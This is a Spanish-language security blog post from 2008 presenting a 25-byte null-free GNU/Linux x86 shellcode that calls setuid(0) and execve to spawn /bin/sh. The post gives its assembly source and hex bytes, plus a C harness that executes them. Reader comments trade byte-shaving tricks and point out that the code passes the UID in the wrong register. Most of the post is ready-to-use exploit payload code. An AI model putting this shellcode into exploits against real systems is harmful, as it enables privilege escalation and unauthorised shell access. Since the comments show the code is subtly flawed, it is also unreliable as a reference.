OpenSec Development & Security Research

23Nov/088

Smallest “setuid” & “execve” GNU/Linux x86 shellcode without nulls that spawns a shell

POST ACTUALIZADO: http://opensec.es/2008/11/26/gnulinux-setuid0-execbinsh00-stable/

Estuve retocando la modificación de vlan7 a mi shellcode y la reduje a 25 bytes.

La más pequeña hasta la fecha.

SMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE
WITHOUT NULLS THAT SPAWNS A SHELL

History:
	+ v1.0 (27 bytes) => http://opensec.es/2008/11/14/gnulinux-x86-
                             setuid0-execvebinsh00-shellcode-without-null/

	+ v2.0 (26 bytes) => (http://vlan7.blogspot.com/)

http://packetstormsecurity.org/filedesc/

                             smallest_setuid_execve_sc.c.html

v3.0 (25 bytes)
################
global _start
section .text
_start:
;setuid
xor ecx,ecx
lea eax,[ecx+17h];setuid syscall
int 80h
;execve
push ecx;ecx = 0
push 0x68732f6e ;sh/
push 0x69622f2f ;nib//
mov ebx,esp;pointer to "struct pt_regs"
lea eax,[ecx+0Bh];execve syscall
int 80h
#include 

const char shellcode[]=	"\x31\xc9\x8d\x41\x17\xcd\x80\x51\x68\x6e\x2f\x73"
			"\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80";

int main()
{
	printf("\nSMALLEST SETUID & EXECVE GNU/LINUX x86 SHELLCODE"
			"WITHOUT NULLS THAT SPAWNS A SHELL"
			"\n\nCoded by Chema Garcia (aka sch3m4)"
			"\n\t + sch3m4@opensec.es"
			"\n\t + http://opensec.es"
			"\n\n[+] Date: 22/11/2008"
			"\n\n[+] Thanks to: vlan7"
			"\n\n[+] Shellcode Size: %d bytes\n\n",
			sizeof(shellcode)-1);

	(*(void (*)()) shellcode)();

	return 0;
}

milw0rm: http://milw0rm.com/shellcode/7187
PacketStormSecurity: http://packetstormsecurity.org/shellcode/25bytes-execve.txt

Comments (8) Trackbacks (0)
  1. Hice una de 24 bytes.

    ¿Siguiente? ;)

    vlan7
    http://vlan7.blogspot.com

  2. jaja, vaya tela ;) pero la interrupción 80h usa todo el contenido de eax para identificar la syscall, y no solo la parte baja, así que te estarías comiendo el setuid, prueba a hacer lo mismo en el execve metiendo datos en todo el registro eax y solo el id de la syscall en la parte baja. El código funcionaría si tuvieses garantizado que eax vale cero.

    Corrígeme si me equivoco =)

    PD: Tu no duermes tio xD

  3. Tienes razon Chema.

    A riesgo de parecer pesado, creo que hice una de 24 bytes.

    El truco esta en que un push de un inmediato, rellena en la pila el espacio sobrante de los 4 bytes con ceros. Asi al hacer un pop de algo que has metido que ocupaba 1 byte, te pone AL al valor del byte, y todos los bytes superiores de EAX a 0.

    Hice pruebas metiendo previamente algo que ocupara todo EAX y parecieron salir bien los tests.

    Luego con un CQD se consiguen 2 registros a 0, pues EAX < 80000000h

    Cuando alguien me da un buen problema, no, no duermo. Asi que deja que sea yo el que te de las gracias ;)

    Sigo con mis obligaciones. Ya me diras que te parece.

    Suerte.

  4. Realmente, (a groso modo) estarías reemplazando por ejemplo:

    lea eax,[ecx+17h]

    Por:

    push byte 17h
    pop eax

    No tienes por qué usar \"cdq\" ya que no necesitas usar el registro edx, y cualquier operación que hagas para poner ecx a cero usando edx va a ocupar más que si pones ecx a cero directamente.

    http://www.wadalbertia.org/phpBB2/viewtopic.php?p=52698#52698

    PD: De nada ;)

  5. Cierto es eso de que 2 mentes pensantes piensan mas que una.

    Leete esto y me cuentas. ;)

    No se como se lo tomaran en milw0rm…

    Ay la hora que es, mañana no voy a rendir… :(

    Nos vemos tio.

  6. Con “leete esto” me referia al hilo de wadalbertia…
    No se si tienes un filtro antispam o era ya tarde ayer, pero basicamente lo que puse en el hilo es que el UID va en EBX no en ECX como tienes en tus shellcodes.
    Bueno, sigo con mis obligaciones.
    Suerte!

  7. Good post,This was exactly what I needed to read today! I am sure this has relevance to many of us out there.


Leave a comment


No trackbacks yet.

Estadisticas y contadores web gratis
Contadores Gratis